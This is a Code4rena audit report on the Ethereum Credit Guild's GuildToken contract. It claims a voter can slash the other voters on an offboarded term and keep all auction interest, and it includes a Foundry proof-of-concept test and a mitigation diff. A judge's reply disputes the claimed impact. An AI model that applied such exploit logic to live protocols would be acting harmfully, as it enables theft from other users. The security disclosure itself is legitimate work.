Malicious voter will steal all interest on open loans when loss is notified and term is offboarded

[c4-bot-2]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L225-L231

Vulnerability details

Description

When a lending term accumulates bad debt, the protocol dictates that all GUILD voters associated with that term should be penalized by losing their tokens voted for that gauge. Ideally, when a term becomes too risky, its GUILD voters are expected to offboard it and liquidate the loans through an auction. This process is designed to prevent the accumulation of bad debt by incentivizing voters to responsibly manage the terms they support.

However, a loophole exists where, if a loss is reported and the term is immediately offboarded, some open loans might remain. The interest from these loans, once repaid through auction, is meant to be distributed among the gauge voters at the time the auction closes. A malicious voter can exploit this by applying the loss to all other voters, effectively claiming all the interest from the auctioned loans for themselves. This is particularly concerning when other voters can't counteract due to debt ceiling limitations, allowing the last malicious voter to monopolize the interest.

To apply a loss to a voter, the function applyGaugeLoss() must be called. This one will decrement the voter weight on that slashed gauge calling _decrementGaugeWeight(), which will check first for the current debtCeiling on that term:

    function applyGaugeLoss(address gauge, address who) external {
        // ...

        // remove gauge weight allocation
        lastGaugeLossApplied[gauge][who] = block.timestamp;
>>      _decrementGaugeWeight(who, gauge, _userGaugeWeight);
        
        // ...
    }

    function _decrementGaugeWeight(
        address user,
        address gauge,
        uint256 weight
    ) internal override {
        // ...
        
        if (issuance != 0) {
>>          uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
            require(
                issuance <= debtCeilingAfterDecrement,
                "GuildToken: debt ceiling used"
            );
        }

        super._decrementGaugeWeight(user, gauge, weight);
    }

This check for the debt ceiling on _decrementGaugeWeight() will make that when the last voter on a gauge is going to be slashed, debtCeiling() will return zero. This will cause that the voter won't be slashed until issuance is also zero, meaning all borrows of that term have been closed. This behavior will result on that the last voter to be slashed on an offboarded term will monopolize all the interest from the auctioned loans.

Impact

When a lending term generates some bad debt and is offboarded with still some open loans, a malicious voter will be able to slash the rest of the voters first and will keep all the interest generated from the last open loans on the term.

Proof of Concept

The following POC can be pasted in LendingTerm.t.sol.
The test can be run with the command: forge test --match-test testAttackerKeepsAllInterest.

function testAttackerKeepsAllInterest() public {
    vm.prank(address(governor));
    core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));

    // SETUP - Create new term
    LendingTerm term2 = LendingTerm(Clones.clone(address(new LendingTerm())));
    term2.initialize(
        address(core),
        term.getReferences(),
        LendingTerm.LendingTermParams({
            collateralToken: address(collateral),
            maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
            interestRate: _INTEREST_RATE,
            maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY,
            minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT,
            openingFee: 0,
            hardCap: _HARDCAP
        })
    );
    vm.label(address(term2), "term2");
    guild.addGauge(1, address(term2));
    guild.decrementGauge(address(term), _HARDCAP);
    guild.incrementGauge(address(term), 200e18);
    vm.startPrank(governor);
    // All profit generated to GUILD voters
    profitManager.setProfitSharingConfig(0, 0, 1e18, 0, address(0));
    core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term2));
    core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term2));
    vm.stopPrank();

    address attacker = makeAddr("attacker");
    address victim = makeAddr("victim");
    address otherUser = makeAddr("otherUser");

    // attacker votes for term2
    guild.mint(attacker, 100e18);
    vm.prank(attacker);
    guild.incrementGauge(address(term2), 100e18);

    // victim votes for term2
    guild.mint(victim, 100e18);
    vm.prank(victim);
    guild.incrementGauge(address(term2), 100e18);

    assertEq(guild.getGaugeWeight(address(term2)), 200e18);

    // user borrows from term2
    collateral.mint(otherUser, 100e18);
    vm.startPrank(otherUser);
    collateral.approve(address(term2), 100e18);
    bytes32 loanId = term2.borrow(100e18, 100e18);
    vm.stopPrank();

    // A year later...
    vm.warp(block.timestamp + 365 days);

    // Simulate interest accrued on other borrows during that time 
    credit.mint(address(this), 100e18);
    credit.approve(address(profitManager), 100e18);
    profitManager.donateToSurplusBuffer(100e18);

    // Market conditions change, loss is reported
    vm.prank(address(term2));
    profitManager.notifyPnL(address(term2), int256(-5e18));

    // Term is offboarded
    guild.removeGauge(address(term2));

    // Attacker applies loss to victim
    vm.prank(attacker);
    guild.applyGaugeLoss(address(term2), victim);

    // Nobody can apply loss on attacker because of debt ceiling limitation - borrows still ongoing
    vm.expectRevert("GuildToken: debt ceiling used");
    guild.applyGaugeLoss(address(term2), attacker);

    // Loan is called
    term2.call(loanId);

    // Auction goes to mid point
    vm.warp(block.timestamp + 650);
    (, uint256 creditAsked) = auctionHouse.getBidDetail(loanId);
    uint256 interestGenerated = creditAsked - term2.getLoan(loanId).borrowAmount;

    // Auction is completed
    collateral.mint(otherUser, creditAsked);
    vm.startPrank(otherUser);
    collateral.approve(address(psm), creditAsked); 
    psm.mint(otherUser, creditAsked);
    credit.approve(address(term2), creditAsked);
    auctionHouse.bid(loanId);
    vm.stopPrank();

    // Attacker keeps all interest
    (,,uint256 interestAttacker) = profitManager.getPendingRewards(attacker);
    (,,uint256 interestVictim) = profitManager.getPendingRewards(victim);
    assertApproxEqAbs(interestAttacker, interestGenerated, 50); // Make room for rounding...
    assertEq(interestVictim, 0);
}

Tools Used

Manual Review

Recommended Mitigation Steps

To address this vulnerability, it's proposed to modify the GuildToken._decrementGaugeWeight() function. The suggested change involves allowing GUILD voters to decrement their weight on a term if it has been offboarded. This adjustment ensures that all gauge voters can be slashed when a term accrues bad debt and is subsequently offboarded, preventing a single voter from unfairly capitalizing on the situation.

    function _decrementGaugeWeight(
        address user,
        address gauge,
        uint256 weight
    ) internal override {
        // ...
        
        uint256 issuance = LendingTerm(gauge).issuance();
-       if (issuance != 0) {
+       if (issuance != 0 && isGauge(gauge)) {
            uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
            require(
                issuance <= debtCeilingAfterDecrement,
                "GuildToken: debt ceiling used"
            );
        }

        super._decrementGaugeWeight(user, gauge, weight);
    }

Assessed type

Timing

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #878

[c4-judge]

Trumpero changed the severity to QA (Quality Assurance)

[c4-judge]

Trumpero marked the issue as grade-b

[c4-judge]

This previously downgraded issue has been upgraded by Trumpero

[c4-judge]

Trumpero changed the severity to QA (Quality Assurance)

[c4-judge]

Trumpero marked the issue as grade-c

[santipu03]

Hi @Trumpero,

I think the primary issue (#878) doesn't describe the full impact of this issue and, therefore, the sponsor downgraded it to QA. I think it should be HIGH severity, considering that an attacker will steal matured yield that should be distributed to all voters.

As per sponsor's comment on the primary issue:

When a term generates a loss, it is expected to be offboarded by GUILD token holders, such that all loans are called & the issuance can decrease to 0 (then GUILD gauge voters can be slashed).

In the case that a term generates a loss, the GUILD token holders are going to offboard it and call all loans. During the time that auctions for those loans are running, a malicious voter can start slashing other voters on the term in order to reduce their voting power on that term. A malicious voter can slash all other voters until he's the only voter left on that term. When other voters try to slash the attacker, the transaction will revert because issuance won't be zero.

Therefore, when all auctions are closed, it's probable that some of those loans are going to generate interest that must be distributed between all term voters. Because the attacker is the only voter for that term at that point (all other voters have been slashed), all the interest generated by the auctioned loans is going be redirected to that malicious voter.

After all loans have been closed, the malicious voter will also be slashed but he will keep all the interest from the last auctioned loans. Check my PoC for clarification.

Thanks a lot for your time!

[Trumpero]

Therefore, when all auctions are closed, it's probable that some of those loans are going to generate interest that must be distributed between all term voters. Because the attacker is the only voter for that term at that point (all other voters have been slashed), all the interest generated by the auctioned loans is going be redirected to that malicious voter.

This statement is not true. The attacker can only slash while the debt ceiling is higher than the issuance, so the profit of each liquidation will be distributed among the remaining Guild holders. The attacker needs to repeat it and slash promptly to optimize their rewards received. This action is allowed and it's the expected behavior for users, as the sponsor confirmed.